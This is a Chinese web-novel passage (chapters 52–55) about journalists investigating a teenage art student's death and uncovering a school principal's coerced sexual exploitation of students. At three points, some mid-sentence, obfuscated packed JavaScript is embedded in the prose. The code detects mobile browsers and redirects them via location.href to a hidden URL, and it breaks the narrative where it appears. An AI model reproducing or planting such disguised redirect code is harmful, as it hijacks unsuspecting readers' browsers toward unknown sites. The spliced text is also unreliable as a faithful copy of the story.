闻着熟悉的味道,邵聿不禁有些感慨,那天发生的一切还历历在目,没想到已经过去五年了。 他们也错过足足五年了。 这五年到底把他们俩变得多么面目全非,他不敢去想,光是回忆都那么让他感到刺痛。 江知渺不知在和李璟意聊什么话题,两人都非常放松,倚在旁边人的身上,不时默契地发出几声笑声。 这样平静又平凡的画面,竟让他有一种深深的不真实感,曾经无数次出现在他的幻想里,现在已经无法分辨眼前究竟是梦还是现实。 “知渺,你们俩有没有考虑要个孩子呀?”李璟意用八卦的视线在他俩身上来回横扫。 邵聿感受到靠在自己肩上的人明显顿了一下,他还没来得及去思索,江知渺就离开了他的肩膀。 “再等等吧,现在工作比较忙。” 理智让邵聿忍不住跟着点了点头,她说得没错,事业如日中天,这种时候离开娱乐圈去生孩子,太不符合她的性子了。 “最近不正好是备孕的好机会嘛,你的时间充裕了一些,剧组那边我听说也是熟悉的导演,不会太为难你,刚好趁这段时间把孩子生了,要不之后万一邵聿的工作调整了,他可就没时间照顾你了。” “工作调整?”江知渺向邵聿的方向靠近了一些,问道。 “还不一定会调整。”邵聿瞥了李璟意一眼,“我就还没跟她说。” 李璟意眼睛一转,在他俩之前逡巡一圈,很快就明白过来,调侃道:“没想到邵大主持人这么谦虚啊,那就等确定结果再说咯。” 他俩的哑谜让江知渺一头雾水,她还想继续追问,邵聿的手机却不合时宜地响了起来。 “喂。” 江知渺距离邵聿很近,听到电话那头隐约传来哭泣声,背景音嘈杂混乱,他明显皱了皱眉头。 “喂,邵主持。”江知渺听清了,是何思尔的声音。 “龙晴……” “龙晴怎么了?”他焦急的声音也引来李璟意的警惕,邵聿把手机从耳畔拿起来,打开免提,何思尔带着浓重哭腔的声音在他们四个人之间轰然爆炸。 “龙晴死了。” 52. 掩护 江知渺他们赶到现场的时候,周边已经围了不少媒体,而且不断有记者扛着设备或者开着直播车,从一旁匆匆掠过。 “怎么会来这么多记者?”李璟意盯着他们的脸细细辨认,几乎所有主流新闻媒体的记者都在场。 “而且比我们到的还要快。”邵聿低沉的声音从副驾驶响起,让三个人都警惕起来。 “对啊,何思尔给我们打电话的时候应该是刚发现龙晴坠楼,咱们车开得够快了,也就二十分钟的时间,居然来了这么多人?” 李璟意的手机屏幕在黑暗中突兀地亮起,新闻弹窗也爆出了“艺心”学员坠楼的消息。 她刚要下车去前方问问怎么回事,刘恪辰的电话就打来了,“聿哥,你们到现场了吗?” “刚到,里面什么情况?”邵聿打开免提,所有人都听到了电话那头嘈杂的背景音。 “你们千万别过来——”伍旸似乎也在刘恪辰旁边,大着嗓门冲电话里喊着。 “为什么?”李璟意厉声问道。 “我也不知道其他媒体是从哪儿获得的消息”,他找了个相对僻静的地方,义愤填膺地说道:“他们都说,龙晴是不堪忍受国立电视台记者的逼问,这才跳楼自杀的,现在我和伍旸已经被围在里面了,你们可千万别过来!” “什么狗屁!”李璟意怒骂一声,“死了个未成年艺考生,不去报道案情,反而要把注意力都引到国立身上。这是哪家同业,真他妈的缺德!” “你们俩现在在哪儿?”邵聿没有理会李璟意的愤怒,依然用非常平稳的语气问道。 “我们接到您和意姐的电话后就往这座空置的办公楼赶,到现场时警方刚拉起警戒线,我们就在外面等,后来媒体越来越多,都让我们俩给个说法,我们也不知道怎么回应,现在躲到大楼后门的保安亭里了。” “后门没人吗?” “没有,后门这里的路还没有修好,大门还挂着卷帘门。” “你们俩别动,我去后门找你们。”说着,邵聿干脆利落地打开了手机地图。 “不行,聿哥!”刘恪辰急忙劝阻道,“后门没路,要想过来,只能从正门的方向绕着警戒线溜过来。但正门全是别家的媒体记者,不可能不被发现,他们一看见你们,肯定会把你们堵住的!” “那怎么办?难道就躲在这儿,什么都不做吗?”李璟意咬牙切齿地望向前方。 进,就会卷进这场命案,甚至失去报道本案的资格;退,则恰恰顺应了那散播谣言者的阴谋诡计,更无法亲手找出龙晴殒命的真相。 进退两难间,邵聿挂断了刘恪辰的电话,整个车厢陷入一片死寂。 所有人都在冥思苦想,可过了三分钟,谁也没能想出一个两全其美的办法。 “你们下车。” 自从接到何思尔电话后始终一言未发的江知渺突然开口,她紧了紧安全带,点起发动机,准备驾车向前。 “你要干什么?”邵聿对她的想法隐隐有了一些猜测,他猛地转过头去,半是疑惑半是阻止。 “你们下车以后,先到路两边的树后面避一避,等我把那些记者的注意力吸引过来,你们再趁机……” “不行!”邵聿斩钉截铁地拒绝了她的提议。 “距离何思尔的电话已经过去四十五分钟,警方应该很快就有初步的调查结果了。”江知渺顿了顿,“现在不过去的话,就只能眼睁睁地看着其他媒体发头条了。” “发不发头条是我们的事,不用你帮忙。” 江知渺也没有生气,反而是轻笑着摇了摇头,“听我的吧,没有其他办法了。” “你本来就背着一个杀人嫌疑,难道还要再卷进一桩命案吗?”邵聿死死地盯着她质问道,“江知渺,你是不是真的想变成什么‘杀人魔影后’啊?” “邵聿”,她深深地吐息,声音中夹杂了几丝不易察觉的颤抖,“我希望你们去报道,是因为我相信国立电视台的记者、相信你的——中立性。” 中立性,客观性,永远不会掺杂私人感情,永远没有私心。 柏霆宇案发生后,她所痛恨的邵聿的态度,如今竟成为她仰仗的令牌。 邵聿从她低垂含泪的眼睫,读懂了“中立性”的意味,却找不到词语来辩白或者解释。 他铜墙铁壁般的思绪似乎真的被她说动了:有人不希望他们介入调查龙晴的死,就说明这个人担心他们真的能够发现真相。 车子前方不远处的人群又是一阵骚乱,好像是有警察出来,记者们蜂拥而上,七嘴八舌地询问着案情。 “走吧”,江知渺放下驾驶室的车窗,那些一股脑涌进车厢的夏夜晚风,很快就会染上媒体猎犬扑食的血腥味。 邵聿下意识听从她的指令,握住门把手,像是突然想要说些什么,他蓦然转身,直勾勾地盯着江知渺,嘴唇开启又闭合,却什么都没能说出来。 他有一肚子的话想和她讲,可惜不知从何说起。 江知渺也仿佛真的理解了他的纠结,了然地点了点头。 在他飞快地下车,即将关上车门的前一秒,江知渺忽然叫住了他:“邵聿。” 他应声回头,江知渺的目光在黑暗中闪烁着晶莹的光亮,充满期待的眼神完完全全地落在他的身上,一瞬也没有动摇。 “请你一定、一定、一定要还她公道。” 郑重到几乎沉重。 江知渺只留下一句话,便发动汽车,向着前方扬长而去。 她在人群后方两三米的位置猛踩刹车,车轮在地上拉出一条深深的痕迹,刺耳尖锐的刹车声撕破了混沌的空气,所有记者的目光都投到她的身上—— “是江知渺!” 不知是谁最先认出她来,随着一声惊呼,关注的焦点从出来维持秩序的警察瞬间变成了她。 拥挤、争抢、探究、追问,她还没推开车门,就被围了个水泄不通,江知渺勉强才从车里走出来,镇定自若地推开那些怼到嘴边的话筒,笔直地向人群深处走去。 “你为什么会出现在这里!” “江知渺,‘艺心’的校长曾经是你在艺大的老师,请问对于这里发生的事情,你是否知情?” “据传昨天你曾在‘艺心’讲过一节课,你有没有见过死者?” “杀害柏霆宇的嫌疑尚未洗清,又出现在一个艺考生的死亡现场,请问这是巧合吗?” …… 邵聿逐渐靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100290|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近人群的边缘,听清了他们的问题。 一个接一个,丝毫不留情面,话语间早已把她和这桩命案绑在了一起。 他甚至都能想象到他们会怎么撰写报道,用春秋笔法,把她变成一个帮凶、一个惯犯、一个丧心病狂的杀人魔。 “有人怀疑,是你的丈夫未经同意强行采访,导致这个女生跳楼自尽,对此你有没有想说的?” “你有没有参与对死者的强迫采访?” 他听不下去了,那些原本泼向他和国立电视台的脏水,一股脑地泼在了她的头上。在决定向江知渺求婚的那一刻,邵聿就已经下定决心,绝对不会让那些污言秽语伤害到她,然而现在,她却在为自己挡下那些莫须有的罪名。 邵聿刚要冲出去护在她的身前,就被李璟意低声喝住了,“你现在过去,她的付出就白费了!” 他的脑海里发出“嗡”的一声,顿时停下了脚步。 李璟意说的没错,江知渺牺牲了她好不容易平息下来的舆论环境,将自己再次推上风口浪尖,给他们换取了一个进入写字楼、查清真相的机会。 假如现在不能查出什么,恐怕等电视台的股东们达成决议后,为了电视台的名声,他们不得不彻底退出这个案件的调查。 有人散播谣言阻止他们介入,无论是想要让国立电视台颜面扫地还是要掩盖什么隐秘,这样一来便正好合了他们的意。 “我去吧。”杨灏突然拍了拍他的肩膀,“作为她的律师,我出现在这里,应该还算合理。” 宽阔的槐树树冠挡住了全部月光,杨灏的脸上被大片黑影覆盖着,邵聿开始飞快地思索,发现这的确是唯一的解决办法了,于是点了点头,深沉地说道:“拜托你了,杨律师。” 趁着所有人的注意力都集中在江知渺身上,邵聿和李璟意沿着写字楼的边缘,深一脚浅一脚地绕到大楼后侧。刘恪辰和伍旸一看到他俩,立刻跟见到亲人似的从保安亭里冲着出来,三步并作两步跑了过来。 “意姐!” “聿哥,你可算来了——” 邵聿拉起警戒线走向后门,蹲下身可以看到,未经启用的玻璃门上落着两把生了锈的大锁,卷帘门落到了距离地面50厘米的位置,他尝试推了推,钢铁硬片发出几声沧桑的低咳。 “过来,搭把手。” 伍旸和刘恪辰一左一右站在邵聿身边,同时用力,卷帘门稍稍有所松动,可也仅在分毫之间,还是难以触碰到那两把旧锁。 “一、二、三——”邵聿闷声喊出口令,三个人将卷帘门扛到肩膀附近,伴随着共同的节奏向上发力。 “动了动了!”望着缓缓向上的卷帘门,李璟意低声呼喊。 终于,经过了十多分钟的努力,背上的衣服早就湿透,卷帘门终于被抬到门锁上方,刘恪辰“哎呦”一声就坐在了地上,伍旸也无声地喘着气。 邵聿深深地吸了几口气,打开手电筒,对着两把铁锁研究一番,转头就跑到路边的废弃建筑垃圾里翻了起来。 “你在找什么?”李璟意抱着手站在一旁,邵聿满头大汗地翻着垃圾堆的样子,倒是非常罕见。 “铁丝。” “……你还会撬锁?!” 53. 记者 很快,邵聿翻出了一根极细的电线,他三两下就剥掉了电线外层的橡胶皮,翻出里面的金属丝,手指灵巧熟练地弯折了几下,把金属丝束成不粗不细的一簇,直奔铁锁。 “聿哥,你这开锁的手艺,也是当记者的时候学会的?” 刘恪辰目瞪口呆地帮他举着手机光源,旁边的李璟意重重地拍了一下他的后脑勺,“说什么呢?当记者怎么可能需要溜门撬锁。” “那为什么聿哥开锁这么熟练啊……”刘恪辰揉着自己的脑袋,嘀嘀咕咕起来。 “在家学会的。”邵聿轻描淡写地回答道,第一把铁锁应声打开,掉落在地上。 “你还真会啊?”李璟意从地上捡起那把锁,锁芯没有任何破坏的痕迹,可就是神奇地解开了卡扣。 她从刘恪辰手里接过手机,八卦道:“你到底干什么大逆不道的事了啊,家里还得锁着你?” 邵聿挑起眼皮,瞥了她一眼,用眼神示意刘恪辰拿回手机,继续闷头开锁,“我拒绝接受采访。” “嘁,谁稀罕采访你。”李璟意退到刘恪辰身后,眼睛一转,又凑近了说道:“哎,我要采访知渺,你帮我跟她说说。” 邵聿默不作声,几秒钟后,伴随一声微弱的“咔哒”声,第二把锁也被打开了。 他站起身来,重重地吸了几口气,把锁扔到一边,“你自己去联系她经纪人。” 他头也没回,推开大门,径直走进写字楼。李璟意大跨步跟了上去,还不死心,“她先生就在这儿,我干嘛还要绕一圈,你就说你帮不帮吧。” “不帮。” 李璟意抬高了音量,“为什么!”空荡荡的写字楼里回荡着她的声音。 “你说呢?”邵聿没好气地把食指放到唇边,让她小点声。 “不就是怕我刁难你老婆嘛。”李璟意毫不客气地回敬道:“那我告诉你,我现在对她的印象已经改善了,这下总可以帮我跟她说了吧?” 他们穿过一层大厅,走到唯一还在运行的电梯前。这座写字楼建成于三年前,由于招商引资困难,所以一直是空置的状态,连电梯按钮上都落满了灰尘。 进入电梯,邵聿直接按下顶层24楼的按钮,随着电梯不断上升,空气也愈发稀薄。通风系统没有开启,更是让厢内的空气变得压抑而凝重,四个人谁也说不出话来,不约而同地想到了龙晴。 那个白天还在他们面前会说会笑的年轻女孩,居然会独自走进这座空无人烟的闲置写字楼,一个人乘上电梯,在这样腐朽气味的空气里,孤独地走上24楼天台,然后纵身一跃,结束自己尚未展开的生命卷轴。 任谁都不可能接受这个结局。 “意姐,你说,如果我们没有拦着她回家,她还会死吗?”蹲在角落的伍旸突然出声,听得所有人心惊肉跳。 “别想这些有的没的。”李璟意弯腰将他拉起来,“你是新闻的传播者,不是制造者,更不能成为参与者。” “客观性。”伍旸苦笑道:“我知道了,意姐。” 这个世界不缺记者,缺的是有原则的记者;更不缺新闻,缺的是真实的新闻。 国立电视台,从来都是以“真正的记者,真正的新闻”为宗旨,努力做世界的坐标轴,记录下时代变迁。 在恪守良心的同时,他们也要摒弃掉一些“本心”。比如私心、比如主观判断、比如个人情感。 “你要想,是谁让她走出宿舍,迈入这间电梯,登上天台,是谁让她宁愿放弃演员梦想,做出放弃生命的选择。”李璟意死死地盯着不断跳动的楼层数字,愤怒的气息让她的语气变得铿锵有力。 “你要坦坦荡荡地把摄像机怼到那个罪犯的脸上,抛出提前拟好的问题,问他为什么要逼死一个17岁的少女,问他为什么要制造谣言阻碍新闻独立,问他内心有没有对死者及其家属的一丝忏悔。” “你要让全社会都明白这个道理:恶有恶报,法网恢恢。” 如果不是李璟意再次提起,邵聿几乎快要忘了,刚进国立电视台新闻部时,师父对他们这批新人说过的话。 师父原本是新闻部老部长,干新闻干了一辈子,说完这些话之后没多久,他就申请了病退,邵聿和李璟意也是从那时候起,成了水火不容的对立双方。 那时也是一桩命案,因为受害者是一个十岁的小女孩,社会影响非常恶劣,推进的速度也很快,老部长带着他们两人从侦破阶段一直跟到了审判。 他还记得那个案子的嫌疑人长了一张传统意义上“坏人”的脸,满脸横肉,沟壑丛生。 午夜的小巷里,他用一把短刀对着手无缚鸡之力小女孩连捅八刀,仅仅是因为她在看到他的脸后,发出了恐惧的尖叫。 案发现场没有监控,警方只能从现场附近的路口和店铺调取监控录像,逐一排查过往人员,最后锁定了这个嫌疑人。 他中专肄业,没有正经工作,靠着单亲母亲卖冷饮的微薄收入过活,整夜窝在酒吧里打游戏,直到天蒙蒙亮才回家睡觉。 案发那天,恰巧因为钱不够,他在凌晨三点就被网管扔了出来,随后开始在街巷里闲逛,监控录像拍到他在女孩死亡时间前十五分钟,拐进了通往那条小巷的路口。还有目击证人称,的确在案发时段与一个满身烟味的男子擦肩而过,还被他凶神恶煞地瞪了一眼。 唯一欠缺的是直接证据,在案发现场并没有提取到除死者以外的任何DNA,凶器上也没有指纹,警方只能从死者身上各处要害的伤口判断,凶手应当心怀对社会极大的恶意,这才行凶报复。 师父从来没有放弃过对直接证据的追寻,邵聿和李璟意跟着他从现场跑到警察局,又从看守所跑到鉴定中心,足足调查了五个月,仍然是一无所获。 庭审当天,嫌疑人当庭认罪,法官作出无期徒刑的判决,他甚至放弃了上诉。师父坐在旁听席全程观看了这次审判,而且早早地就安排他们两人堵在押送车的出口。 那里从庭审开始前就已经挤满了各家记者,李璟意一马当先,灵活地钻到警戒线第一排,占据了最中央的黄金位置。邵聿没她放得那么开,不好意思去推搡其他人,只落得第三排的一小片落脚之地。 押送嫌疑人的警车一出现在大家的视野里,警戒线就被瞬间冲断了,邵聿随着人群被动地向前涌去,完全失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110305|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了身体的平衡,依靠人与人之间的反作用力勉强支撑着。 “请问你对法院的判决有何感想?为什么要放弃上诉?是于心有愧吗?你为什么要杀害一个无辜的女孩?有没有考虑过她家人的痛苦?请问在庭上你向受害者家属道歉了吗?……” 李璟意高亢的声线划破嘈杂的空气,一连串的追问将全社会关心的问题都抛了出来,刀刀见血。 邵聿至今都忘不了那个嫌疑人当时的表情,他原本是麻木地坐在法警身旁,空洞地看向前方,听到李璟意的问题,满脸的沟壑拧在一起,仿佛全身都在剧烈疼痛,痛苦地张着嘴。 车窗外,李璟意以为他要回答自己的问题,高高地抬起手中的话筒。他的嘴唇忽然开始颤抖,像是哭泣前的哽咽,可却没有流下一滴泪水,反而是双目通红,眼眶怒张,眼珠如同死鱼的眼睛用力突出,直直地盯死李璟意的脸。 那个眼神,让邵聿想到将死之人的眼神,绝望、无助、迷茫、愤怒,饱受折磨,却对命运毫无还手之力,身体和灵魂其实早已死去,心绪却始终难以平复,那些人类独有的情感还在本能地从生命的末端发出呐喊。 包括李璟意在内,所有人几乎都被他这个样子吓到了,在那一刻他不是嫌疑人,不是社会的失败者,不是被审判的罪犯,而是一个与他们都一样的人类,用那些拉扯到极致又压抑到极致的情绪,告诉他们:我就是你,你也是我。 不过,当时邵聿并没有读懂那个眼神背后的含义,直到电视台巡查组将师父从工位上带走,他才明白过来。 庭审结束后三个月,这个嫌疑人的母亲就从A市最高的摩天大楼一跃而下,身后只留下厚厚的一打文件,包括她收集的各种与案件相关的证据,以及儿子给她寄的手写信,里面详细记录了自己是如何被刑讯逼供,又是怎样受不过煎熬被迫认罪的。 在遗书里,她还特别提到了舆论,那呕心泣血的二百多字,以“舆论杀死了我和我的儿子”做结尾,顿时引起轩然大波。 而全程追踪报道、甚至在庭审后第一时间发出独家头条的国立电视台,一下子就被抬上了风口浪尖。 中央成立专项工作组,对此案的疑点重新进行了侦办,最后确认证据不足,无罪释放。就在结论发布的同一天,国立电视台发出公告,电视台正在对新闻部负责人开展内部调查。 “我知道你在想什么。”李璟意走到邵聿身边,“你还在怪我,怪我让师父替我背了黑锅,丢了工作,师母生病也没钱医治,最后潦倒贫困地去世。” 邵聿屏住了呼吸,瞪着李璟意,他实在想不通,眼前这个人究竟是怎么能够大言不惭地说出这些话的。 “但在那一刻,我只能那样做。我只能告诉全社会:他被我们的司法机关宣告有罪,任何罪犯都不可能不付出代价。” “你明知道……” “我明知道没有直接证据”,李璟意摇头笑了笑,“可我也明知道法官宣判他有罪。” “邵聿,完整地报道客观事件,这就是记者的职责,你或者我,还有师父,都没有资格对他作出审判。如果重来一次,我还是会尽我自己的职责。” 54. 黑暗 这还是这么多年来他们俩第一次开诚布公地谈起当年师父的事情,尘封的伤口上,木乃伊般的包裹被掀开,师父的死讯传来时,那份痛苦仍然恍如昨日。 邵聿反驳她:“但记者也有监督社会的职责,你为什么不告诉公众,这个案子有疑点?” 他还记得,在审判当天的新闻发布之前,他们组已经决定要做一期专题节目,详细分析此案的重重疑云,以期重启调查。 邵聿建议在新闻的最后作出预告,可李璟意一直持反对态度,最后她也成功说服了师父。 后来师父被停职调查,他们俩也被要求从这个案子撤出来,专题节目变成了国立电视台的道歉,再也没有人知道,他们的新闻其实并不是随意进行口诛笔伐。 “你有什么证据,证明他是无辜的?”当时在剪辑室里,李璟意叉着腰质问他。 邵聿也气得拍了桌子,“凭什么证明他有罪不需要证据,我们要说他无罪,就得有十分充足的证据?” “因为你不只是在证明他无罪,你还要证明警方、检方甚至是合议庭都存在失职,你是在挑战整个系统!” “难道因为畏惧就要放弃吗?” “邵聿,你以为这条新闻播出去只是你或者我一个人的事情吗?师父要为我们负责,台长的姓名也会出现在结尾,还有无数收看国立电视台的观众。 你要引导观众去怀疑他们正在且未来仍要生活的环境,告诉他们不公平不公正也许就发生在他们的眼皮底下,你知道这是多大的责任吗? 如果拿不出证据证明我们报道的内容,你承担得起吗?” “我们不说,观众就更不会知道他们也有可能变成那个嫌疑人,有一天突然被扣上杀人犯的枷锁,难道你觉得这样对他们来说更公平吗?” ……他们谁也不肯退让,一直吵到主编来找他们要片子,师父终于开口,敲下了句号。 “今天先不报,三个月,给你们俩三个月,把证据收集好,我给你们争取黄金时段。” “师父,三个月太久了,他今晚就要被送到监狱了!”邵聿还想抓住最后的机会劝说,师父不由分说地瞪了他一眼,摆明了没有任何商量的余地。 邵聿非常清楚,师父看上去慈眉善目,但关于新闻,只要是他决定的事情,就算是台长来,也不可能动摇他一丝一毫。 师父离开电视台后,邵聿也曾无数次想过,假如当时他再态度坚决一点,比李璟意更有说服力一点,是不是师父就能够同意他的意见,在节目最后加上他们对案件证据不足的怀疑。 这样,他的母亲就不用以自己的生命换取儿子的清白,师父也不用被停职甚至引咎辞职。 “这么多年,你真是一点都没变。”面对李璟意坦然的目光,邵聿似乎再一次回到了庭审当天新闻直播开始前的剪辑室里。 师父让他向李璟意学习的“洒脱”,他好像始终没有学会。 李璟意惊讶地睁大了眼,“我就当你是在夸我了,邵大主持。不过你也是,没怎么变。看来我们俩之间的战争,还远没到停火的那一天。” 电梯重重地晃了一下,他们还没来得及站稳,电梯门就缓缓打开了,一个身穿警服的女警,正扶着何思尔站在电梯前。见到他们,何思尔的眼角潸然流下两行清泪。 “你们是谁?警方办案,闲杂人等请立刻离开。” 女警按住电梯按钮,警惕地扫视着他们四个人。何思尔上前一步,轻轻拉了拉她的警服,小声问道:“我想跟他们说说话,可以吗?” 警察给他们找了一间还算干净的空房间,何思尔坐在李璟意身边,虽然身上披着厚厚的毯子,可全身还是止不住地发抖。 “思尔,我们先带你去医院看看,好不好?”李璟意轻轻地揽过她的肩膀,语气出奇地温柔。 何思尔摇了摇头,深深地吐息着,勉强调整好呼吸,断断续续地说道:“我……龙晴她,我不知道……为什么会,跳下去。她不在寝室,我发……发现后就……” “你不用着急,我们可以等你的情绪平静后再聊。”邵聿脱下自己的外套,递给刘恪辰,刘恪辰心领神会,上前搭在了她的肩上。 过大的外套将她包裹成一团,毯子和衣物带给她更多的安全感,加之李璟意一直握着她的手,用自己的体温温暖她冰冷的手掌,过了一会儿,何思尔逐渐不再颤抖。 “她是被人逼死的。”何思尔一句话瞬间炸开了凝重的空气。 “谁,是谁逼她死,为什么要逼她?”李璟意拉着自己的椅子,朝她靠得更近。 然而,何思尔却摇了摇头,“我不知道。” 迎面对上邵聿审视的目光,何思尔沉沉地低下头,双手不停绞着手指,将自己的手背抠出一个又一个月牙形凹痕。 “校长让她去上‘补习班’,她不愿意,所以想逃回家里。晚上回到寝室,熄灯后,我看她的手机屏幕还一直亮着,我以为她在和家人或者朋友聊天,没想到她是想自杀……” 说着,何思尔捂住脸啜泣起来。 “……你是说,颜洪教授?” 江知渺在杨灏的帮助下,终于摆脱了媒体的围追堵截。“艺心”已经完全被警方围了起来,里面的学生和老师出不来,他们也不被允许进入。没办法,他们等到天亮,最后只得将车停在距离“艺心”一公里外一个偏僻的停车场里,江知渺立刻拨通了柯妙妙的电话。 “对,当年咱们上学的时候,表演系的系主任,颜洪。”她沉声道。 柯妙妙又是吸气又是挠头,“你觉得是她在把这些艺考生推给金主?” 江知渺不置可否,只说:“你帮我查查,她这些年有没有发生什么事情。” “查是没问题”,柯妙妙犹豫起来,“但我记得你当年最喜欢的老师就是她了,万一真查出点什么,你怎么办?把线索交给警察吗?” 江知渺被她问住了,她满脑子都是龙晴的死,一心想着要把她自杀的原因弄清楚,还没来得及去思考下一步。 假如真的是颜洪害死了龙晴,她又该怎样去面对这位恩师呢? “查到什么都立刻告诉我吧,其他的我自己想办法。” “‘补习班’是什么?”邵聿将这三个字圈了起来,向何思尔问道。 何思尔陷入了漫长的沉默,她几次抬起头,想要给出答案,又几次低下头,肩膀蜷缩进宽大的外套,紧紧地抿着嘴唇。 听到屋内没了声音,门外的女警敲了敲门,骤然响起的叩门声吓得何思尔打了个冷战,李璟意连忙拍了拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122756|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的背,安抚她受惊的情绪。 邵聿站起身来,打开门和外面的警察说了几句话,看着女警离开,这才把门关上,重新锁好。 “你可以放心跟我们讲,这里很安全。” 她重新抬起头来,认真地在每个人脸上顿了几秒,终于开了口:“就是,校长会找圈内一些‘老师’,给我们单独上课。” 李璟意下意识望向邵聿,发现他也面容沉重,于是拉着何思尔的手问道:“那,你去VeilMansion也是因为……” 听到VeilMansion,何思尔的肩膀抽搐了一下,她越来越深地缩进身上的毯子和外套里,几乎要把脸全都埋进去,露在外面的耳朵和额头憋得通红。 “根本不是上课!那个人也不是什么老师!”她发出了幼兽般的低喊。 “他说自己是艺考的评审老师,知道评分标准,可以教我怎样考进艺大。可我一进去,他就开始摸我。我不同意,他就说到时候让其他老师都给我打低分,让我考不上任何一所艺术类院校……” 邵聿听得心惊肉跳,即使事先早有类似的猜测,然而真的亲耳听到,还是被怒气冲得头脑发胀,双手紧紧地握成拳头。 “他还说,如果我不听他的,就让我父母破产。我们家的企业能有些规模,全都是我爸我妈从二十多岁白手起家奋斗了四十年的成果,他们把积蓄都拿出来支持我参加艺考,我不能毁了他们一生的心血,我……” 何思尔低低的哭声让所有人的心都跟着揪了起来,眼前这个瘦瘦高高的女孩,竟然背负着这么沉重的遭遇,很难想象她是如何独自忍受这些事情的。 “思尔,龙晴也被要求去‘上课’了吗?” 何思尔点点头,抹掉眼泪,朦胧地看着李璟意,“大概是上周,校长说给她找了‘补习班’,能让她进入艺大。她非常抗拒,一直没有松口,校长后来又找她谈了好几次,还让我劝劝她。她和我家里情况差不多,我估计校长也用这个威胁她了吧,不然她也不会……” 李璟意帮她裹紧了身上的衣服,“那你知道,颜洪给她找的‘老师’是谁吗?” “我们都不会提前知道的,只有去了才能知道。有些‘老师’不说自己是谁,可能一直也不知道身份。” “我们?”邵聿抓住了这个词,他眉头紧蹙,“除了你,还有其他女孩吗?” “很多,光是我知道的就有七八个,很多都是‘艺心’的学长学姐,已经上大学了。” 邵聿和刘恪辰同时倒吸了一口凉气,这些污糟居然如此广泛地蔓延在太平的表象下。或许是他们的表情太过沉重,何思尔小声补充道:“我们……是自愿的。” “自愿?” 何思尔死死地攥紧了衣角,“就连我自己都分不清,到底是被迫还是自愿的。” 她顿了很久,自嘲似的地干笑了几声,“考上艺大,和家里平安无事,不都是我想要的吗?如果这些都能得到,那不就是自愿的等价交换了吗?” “这就是你不愿意接受我们采访的原因吧。”邵聿站起身来,走到她的面前。 不等何思尔回答,他就蹲下身来,视线与她平齐,始终拧紧的眉头舒展开来,“我给你讲一个关于‘等价交换’的故事,怎么样?” 55. 祸起 邵聿的声音条件在广播大学那一届的新生里算是数一数二的,天然饱满的胸腔共振,让每一个字都收放自如。 “从前有一对夫妻,他们一穷二白,连吃饱饭都是个问题,但他们每天都很幸福,因为他们有一个共同的目标,那就是‘面包’。 后来他们逐渐拥有了足够多的面包,于是得到面包这件事就不能再使他们感到幸福了,他们就开始考虑要去获得‘牛奶’。 可他们都忘了,牛奶不是吃面包的人能够负担得起的,他们两人一天只能买得起一杯牛奶。 于是,究竟是一人半杯、都处在不满足的状态之下,还是让一个人喝、另一人放弃,甚至是由谁来喝,他们有了不同的意见。 丈夫认为,自己一个人喝下整杯牛奶,就有更多的力气去赚钱,久而久之也就买得起第二杯牛奶了。 而妻子认为,牛奶是每个人生存的必需品,只有两个人都满足了最低的生存标准,才能相互扶持走下去。 后来他们想到了一个很好的解决方式,也可能是很差的解决方式:用他们两人的婚姻去典当,拿着当来的钱,去买第二杯牛奶。这样,每个人就都能喝到一整杯牛奶了。” 何思尔困惑地眨了眨眼,这个似是而非的故事,让她暂时抽离出悲哀的情绪。 “奇怪的是,就算每天都有足够的面包和牛奶,这对夫妻也再没能感受到幸福。 他们都觉得很奇怪,为什么,他们分明用婚姻等价交换来了一切生存必需品,为什么还没有吃不起面包时幸福快乐。” 邵聿释然地笑了起来,他看着何思尔的眼睛,问道:“你觉得,这个等价交换,值得吗?” 何思尔坚定地摇了摇头,既然夫妻两人都觉得不幸福,那么一定说明,无论其中价值计算多么严密,这个交换也是不值得的。 “你觉得他们俩是‘自愿’的吗?” 这个问题让何思尔陷入了沉思,她的年龄还不足以回答这样复杂的关乎人性的问题,她诚实地眨眨眼,“我不知道。” 邵聿站起身来,又坐回她对面的椅子上,脸上一闪而过的笑意早已消散,取而代之的是一声叹息。 “如果有人当时告诉他们,你们可以把‘牛奶’和‘面包’全部放弃,其实这些都不是生存必需品——”他顿了片刻,深吸了一口气,“你认为他们还会拿婚姻去典当吗?” “可他们那时都不知道。”何思尔给出了一个似是而非的回答。 “是啊,他们那时都不知道,自己已经无形中被很多东西束缚住了,甚至忘了只要人还在,就可以自己去种地、收获、磨麦子、做面包,可以自己去养牛、喂牛、挤奶、喝牛奶。 那些他们以为是自愿的选择,实际上都是被裹挟着被迫交出的答案。” 